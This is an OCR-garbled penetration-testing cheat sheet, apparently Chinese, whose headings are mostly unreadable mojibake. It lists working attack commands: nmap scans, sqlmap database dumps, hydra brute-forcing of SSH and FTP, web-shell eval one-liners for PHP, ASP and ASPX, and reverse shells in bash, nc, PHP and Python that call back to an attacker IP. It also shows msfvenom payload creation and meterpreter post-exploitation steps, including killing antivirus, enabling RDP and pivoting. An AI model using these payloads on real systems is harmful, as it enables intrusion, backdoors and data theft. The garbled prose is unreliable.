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nmap 192.168.0.101-110

2. 1348 % 1P B

nmap 192.168.0.* --exclude 192.168.0.100

3.13ide e ML M RIE RARE (RELH)

nmap -A 192.168.0.101

or

nmap -0 192.168.0.101

A AR NIFRI N C(Zar& 2Bkl in D3 EaD

nmap -sP 192.168.0.*

5. AR EHLIF RS O (nmap-services 3O A4 H 3% 0

nmap -F 192.168.0.101

6. 33945 € ) ¥ K

nmap -p 80 192.168.0.101
nmap -p 80-160 192.168.0.101
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nmap -sP 192.168.0.101/24
nmap -p 1-65535 -A 192.168.0.101

nmap -sS -Pn -T4 -p 1-65535 192.168.0.101
nmap -A -O -p 80 192.168.0.101
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1.Windows ¥ & -1 FH#16], T &bt

https://github.com/foryujian/yjdirscan

2.Linux“F & -1# Flkalit 1 Dirb, #y4:

dirb http://192.168.1.101 /usr/share/wordlists/dirb/big.txt

kali & # B4k T Rowasp-zap, #4:

root@kali:~# owasp-zap
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sqlmap -u "http://www.

2EEK

sgqlmap -u "http://www.

3. &I

sqlmap -u "http://www.
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sgqlmap -u "http://www.
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sqlmap -u "http://www.
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XXX
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6.SqlmapZi & i 4 i

com/1link.php?id=321" --dbs

com/1link.php?id=321" -D dataname --tables

com/link.php?id=321" -D dataname -T table_name --columns

com/link.php?id=321" -D dataname -T table _name -C "id,user,password” --dump

com/login.asp" --data "Username=admin&Password=123456"


https://github.com/foryujian/yjdirscan

sqlmap -u “http://www.xxx.com” --data "Username=amdin&Password=123" --level 3 --dbms mysql

#BE AR

sqlmap -u “http://www.xxx.com” --level 5 --risk 3 --forms --dbs
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Kali Linuxfi Fihydra

#Kali B FHA B

cd /usr/share/wordlist

#BEFESSH

hydra -L user.txt -P pass.txt -t 2 -vV -e ns 192.168.124.10 ssh
#BEftp

hydra ip ftp -1 /& -P HHEFH -e ns -wW

#Hff#teamspeak

hydra -1 FIF4 -P HBFH# -s WHS -vw ip teamspeak

#EAEPOP3

hydra -1 muts -P pass.txt my.pop3.mail pop3
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#1684 : crunch E/MIE BRAE F8 e E R E
crunch 1 9 2324bin

RS

SH

-b number[type] #FK/N, Him-b 2emb

-c number HHBITH, HLin-c 8000

-d number symbol [R#HIHIMRATENAH (ELHIATENED) , -d 3RS HIzzf FFffgggg KM
-e sting EEILAERFEG., tin -e 222222: F222222{% kA RFG
-0 wordlist.txt REN

-p EXEWLTLE

-t #E U AE

ERFRNEFE

, RERE=E
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#fE A4

cewl www.example.com -d -w dic.txt

T4 B T H -john



john --wordlist=dic.txt --stdout --rules > results.txt

FTHAKETR
Kali'F-&, M subDomainsBrute, 3 -FPythonfiii4A T E, ] LAHFWindowsF4&

python subDomainsBrute.py www.example.com

-f BEFHEH, BRIAMEAH B Msubnames. txt.
--full fffsubnames_full.txtF 4B
-w EHIEE

-t fRELE, BRik2seh

-p JRE#HE, BRile

-0 TREHIH M4, WscanResult. txt

Windows¥- &, M LayerTH 41231, RS9 1ec

AR T A
Kali*F- &, fHF-NAScan, #FPythonffiiZ T A, WA FWindowsF&

#E F =51

python NAScan.py -h 10.111.1

python NAScan.py -h 192.168.1.1-192.168.2.111

python NAScan.py -h 18.111.1.22 -p 80,7001,8080 -m 200 -t 6

python NAScan.py -h ip.ini -p port.ini -npython NAScan.py -h 10.111.1.22 -p 80,7001,8080 -m 200 -t 6

-h RHMAKISE, XFip(192.168.1.1), ipB (192.168.1) , ipiEHIEE (192.168.1.1-192.168.1.254) ,ipFEXH (ip.
-p HEERMEIROSE, AR OMH, BT fitn: 22,23,80,3306. K35 8143 H A B ERIAR O BT/ (21, 22, 23,25,53,80,110,
-m fEELBEHE BRill1004kFE

-t FEHTTPIERBATE A, BRIAN10FP, ¥ DB NEML/2.
-n AHATEIERN (ICMP) EE3 T .

WordpressZH 4 ¥ IH 3 #

Kali*t&, f#HWPScan, fir4:

#-e M2 Ul /B vpRIETRREA
wpscan -u 192.168.0.101/wordpress/ -e u,v,p

wpscan --url http://192.168.0.101 --wordlist=/root/dic.txt --username uname --threads 20

SMBHr W I #
SMB7Ekali~F & 1 LA Fenumdlinux


https://github.com/lijiejie/subDomainsBrute
https://pan.baidu.com/s/1uTGzwmIRnKHEGcgWigisrg
https://github.com/ywolf/F-NAScan

#192.168.0.102 A% Hlip

enum4linux 192.168.0.102

#login

smbclient //192.168.0.102/share$

#windows FIREUFEE FIR

net use k:\\192.168.1.102\share$

#linux T IREXVFLZEBEIR

mount -t cifs -o username=' ', password=' ' //192.168.1.101/share$ /mnt
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phpf—AiEARD: <?php @eval($_POST['pass']);?>
asplI—HA)iE&: <%eval request ("pass")%>
aspxf—AJiER:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

—A) i Jx #ishell

bash -i >& /dev/tcp/192.168.0.101/4444 0>&1
#echo "bash -i >& /dev/tcp/192.168.0.112/1234 @0>&1" | bash

nc -e /bin/bash -d 192.168.0.101 4444

#ff Flphp X #shell
php -r '$sock=fsockopen("192.168.0.101",4444);exec("/bin/sh -i <&3 >&3 2>&3");"

#{#FPython Hii#Eshell
echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
python /tmp/shell.py

Pythonjik % # shell

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#WEHHLLp g O

s.connect(("192.168.0.101",4444))
os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

AEEA ARG



#1E FAWindows fICopy s & A AR T (/b" ZHEHISCHF", /a"ASCIIHE")
copy flag.jpg/b+hack.php/a hack.jpg

HEREH FRUAR D TCEAE APHPIAT I 1 &)
<?php fputs(fopen('muma.php','w'), '<?php @eval($_POST[hack]);?>"); 2>
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T I Metaspolitfz #] &

msfconsole

1 i Metaspolitf By B AT (5 B e

search portscan

fs P tepit A7 3w 1 434

use auxiliary/scanner/portscan/tcp

AN CERE:]

show options

#SH R E =B

set rhost 192.168.0.101
set port 1-65535

set thread 100

#PAT B

exploit

fE Fmsf-nmapi#iT R4 B3

nmap -sV 192.168.80.100

R R

use auxiliary/scanner/portscan/tcp
set payload payload/windows/x64/meterpreter/reverse_tcp

2, HEHHER



#BFEWindowsF & KB AR

search name:windows

HEFFF AT I EIRR
#typefl Fifiitexploit/auxiliary/post, fffplatform{{&EFE ¥ FHHR
search type:auxiliary platform

HIE BB E R
use exploit/multi/http/glassfish_deployer

3. Eisession

HEARD

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.20.10.2 lport=5555 -f exe -o hack.exe

sessionig 4

msf > sessions -1

Active sessions

Id Type Information Connection

1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ ROOT-9743DD32E3 192.168.1.11:4444 -> 192.168.1.142:1063

msf > sessions -i 1

[*] Starting interaction with 1...

meterpreter > pwd
C:\
meterpreter >

4. #=filjob

#0281 TAEEAT Bk

jobs -h

#Bidjob id RALFEAjob
kill+jobid

5. Windows#E L5 228
BELWRGER

HRRAHRAER
sysinfo
HRBCAETH 4
getuid



#RH R BTN

run post/windows/manage/killav

#FF /53389

run post/windows/manage/enable_rdp

#B ir T B

run post/windows/manage/autoroute

BRIEEHCMH RS

#ERREV LR FEHAB R
pwdEgetwd

#E A THAEHF

getlwd

HEB R T txt 3O
search -f *.txt -d c:\
# PR AN root HFRT

download c:\test.txt /root

# EAEANIADZE BiRc
upload /root/hack.exe c:

HETEENSCAF AR

cacls filename /E /G system:F

6. Linux¥ 4§15 2
BEAHPHXER

cat /etc/passwd

B RS

find / -user root 2>/dev/null

T EREEHL AT e IF

#192.168.0.102 FkaliXFHHlip

scp /root/pass/password.txt root@l92.168.0.102:/root/

7. WMBE
R #ishell7= 5

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler)
msf5 exploit(multi/handler)
msf5 exploit(multi/handler)
msf5 exploit(multi/handler)
msf5 exploit(multi/handler)

HE LT E

>

>
>
>
>

set payload windows/meterpreter/reverse_tcp
show options

set lhost 192.168.0.2

set lport 5555

run



meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Local subnet: 172.10.20.1/255.255.255.0

Local subnet: 192.168.0.101/255.255.255.0

Hhn172.10.20. 1M B & H AT B (f# Fautoroute)

meterpreter > run autoroute -s 172.10.20.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

[*] Adding a route to 172.10.20.0/255.255.255.0...

[+] Added route to 172.10.20.0/255.255.255.0 via 192.168.0.101

[*] Use the -p option to list all active routes

B Hisession, &BE HETHHERS

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > route print

IPv4 Active Routing Table

Subnet Netmask Gateway

172.10.20.0 255.255.255.0 Session 1

[*] There are currently no IPv6 routes defined.

B F-sh#s i



HEF BT AP B :

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Local subnet: 172.20.10.0/255.255.255.0

Local subnet: 192.168.0.101/255.255.255.0

#HIBITE MsessioniB R &
meterpreter > background
[*] Backgrounding session 1...

HE N -

msf exploit(handler) > route add 172.20.10.0 255.255.255.0 1
[*] Route added

msf exploit(handler) > route print

IPv4 Active Routing Table

Subnet Netmask Gateway

172.20.10.0 255.255.255.0 Session 1
[*] There are currently no IPv6 routes defined.
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